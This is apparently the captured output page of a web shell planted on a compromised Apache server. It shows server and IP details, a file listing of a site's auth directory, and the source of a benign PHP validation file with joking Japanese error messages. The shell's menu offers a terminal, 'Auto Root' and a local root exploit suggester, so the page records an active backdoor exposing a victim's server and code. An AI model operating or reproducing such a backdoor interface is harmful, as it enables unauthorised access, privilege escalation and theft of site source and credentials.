Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
kougakubu /
htdocs /
auth /
Delete
Unzip
Name
Size
Permission
Date
Action
views
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
.conf
6.09
KB
-rw-rw-r--
2024-08-28 00:06
database.php
1.04
KB
-rwxr-xr-x
2024-08-28 00:15
database2.php
477
B
-rwxr-xr-x
2024-08-27 23:20
functions.php
2.34
KB
-rwxr-xr-x
2024-08-27 23:20
login.php
7.16
KB
-rwxr-xr-x
2024-08-28 00:23
logout.php
1020
B
-rwxr-xr-x
2024-08-28 00:19
register.php
3.88
KB
-rwxr-xr-x
2024-08-28 00:19
session_upload.php
2.07
KB
-rwxr-xr-x
2024-08-28 00:19
show_register_form.php
1.36
KB
-rwxr-xr-x
2024-08-28 00:19
show_tmp_register_form.php
296
B
-rwxr-xr-x
2024-08-28 00:19
test3.php
221
B
-rwxr-xr-x
2024-08-27 23:20
tmp_register.php
3.9
KB
-rwxr-xr-x
2024-08-29 23:28
Save
Rename
<?php //XSS対策 function h($s){ return htmlspecialchars($s, ENT_QUOTES, "UTF-8"); } //セッションにトークンセット function setToken(){ $token = sha1(uniqid(mt_rand(), true)); $_SESSION['token'] = $token; } //セッション変数のトークンとPOSTされたトークンをチェック function checkToken(){ if(empty($_SESSION['token']) || ($_SESSION['token'] != $_POST['token'])){ echo 'Invalid POST', PHP_EOL; exit; } } //POSTされた値のバリデーション function validation($datas,$confirm = true) { $errors = []; //ユーザー名のチェック if(empty($datas['username'])) { $errors['username'] = 'テストのときも名前書き忘れるのかなぁ?(ユーザー名が入力されていません。)'; }else if(mb_strlen($datas['username']) > 20) { $errors['username'] = '20字以内!問題文読めよ!(ユーザー名が長すぎます。20文字以内にしてください。)'; }else if(!preg_match('/^[a-zA-z0-9]{1,20}$/',$datas['username'])){ $errors['username'] = '全角みたいに英文書かないでください。(半角英数字20文字以内で入力してください。)'; } //パスワードのチェック(正規表現) if(empty($datas["password"])){ $errors['password'] = "え?模試用個人キーを設定,し忘れた?(パスワードを入力してください。)"; }else if(!preg_match('/^(?=.*[a-z])(?=.*?\d)[a-z\d]{8,100}$/i',$datas["password"])){ $errors['password'] = "草稿用紙はありませんよ?(半角英字と半角数字それぞれ1文字以上含む8文字以上100字以内の文字列をパスワードにしてください。)"; } //パスワード入力確認チェック(ユーザー新規登録時のみ使用) if($confirm){ if(empty($datas["password_confirmation"])){ $errors['password_confirmation'] = "静高生なら確認用パスワード入力なんて不要だよね~(確認用パスワード入力がありません。)"; }else if(empty($errors['password']) && ($datas["password"] != $datas["password_confirmation"])){ $errors['password_confirmation'] = "静高生なら確認用パスワード入力なんて不要だよね~(確認用パスワードがマッチしません。)"; } } return $errors; }